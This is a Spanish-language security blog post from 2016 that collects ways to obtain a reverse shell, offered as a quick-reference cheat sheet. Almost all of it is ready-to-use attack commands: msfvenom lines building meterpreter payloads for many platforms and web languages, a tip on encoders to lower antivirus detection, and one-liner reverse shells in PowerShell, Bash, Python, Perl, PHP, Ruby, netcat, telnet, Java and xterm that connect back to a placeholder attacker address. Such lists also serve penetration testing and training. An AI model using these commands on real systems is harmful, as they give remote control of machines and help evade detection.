viernes, 27 de mayo de 2016

¿Quieres una Shell Reversa? Hay donde elegir

Buenas a todos,

En la entrada de hoy haremos un breve resumen de las diversas formas de generar una Shell reversa y así tener todas las opciones en un mismo sitio para consulta rápida.
Empecemos por Metasploit y las diferentes formas para generar un meterpreter. Para ello vamos a utilizar la herramienta msfvenom del framework Metasploit.


Binarios


Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f exe > meterpreter.exe


Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f elf > meterpreter


Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f macho > meterpreter



Web


PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw | sed 's/\/\/<?php/<?php/' > shell.php && echo ' ?>' >> meterpreter.php


ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f asp > meterpreter.asp


JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.jsp


WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f war > meterpreter.war



Scripts


Powershell

msfvenom -p cmd/windows/powershell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.ps1

Python

msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.py


Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.sh


Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.pl



Código


Además podemos generar programas en diferentes lenguajes que ejecutaran la Shell. Podemos ver el listado de los diferentes lenguajes con msfvenom --help-formats
Por ejemplo, para generar un programa en C que lance una Shell, ejecutaríamos:


msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f c > meterpreter.c


Bastaría compilarlo y tendríamos nuestro backdoor/shell.
Destacar un par de opciones interesantes de msfvenon, como son, “--bad-chars”, para evitar ciertos caracteres, como -b'\x00\xff' y la otra opción es la de --encoder con la que podemos codificar nuestro meterpreter bajando el ratio de detección.



En otras ocasiones querremos ejecutar la Shell directamente o no tendremos Metasploit a mano.
Para esas ocasiones vamos a ver algunas opciones y alternativas:


Powershell

$sm=(New-Object Net.Sockets.TCPClient("<IP>",<PUERTO>)).GetStream();[byte[]]$bt=0..255|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}


Bash

bash -i >& /dev/tcp/<IP>/<PUERTO> 0>&1

o

0<&196;exec 196<>/dev/tcp/<IP>/<PUERTO>; sh <&196 >&196 2>&196 


Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PUERTO>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


Perl

perl -e 'use Socket;$i="<IP>";$p=<PUERTO>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


Perl (windows)

perl -MIO::Socket -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr => "<IP>:<PUERTO>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


PHP

php -r '$sock=fsockopen("<IP>",<PUERTO>);exec("/bin/sh -i <&3 >&3 2>&3");'


Ruby

ruby -rsocket -e'f=TCPSocket.open("<IP>",<PUERTO>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


Ruby (windows)

ruby -rsocket -e 'c=TCPSocket.new("<IP>","<PUERTO>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' 


Netcat (opcion '-e')

nc -e /bin/sh <IP> <PUERTO>


Netcat (sin '-e')

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PUERTO> >/tmp/f

o

/bin/sh | nc <IP> <PUERTO>


Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet <IP> <PUERTO> 0/tmp/p 

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<IP>/<PUERTO>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()


xterm

xterm -display <IP>:1




Espero que sean de utilidad y si conocéis algún método forma más por favor comentarlo y así podremos incluirla para contar con un recopilación más completa.


Belane



No hay comentarios:

Publicar un comentario

Google Analytics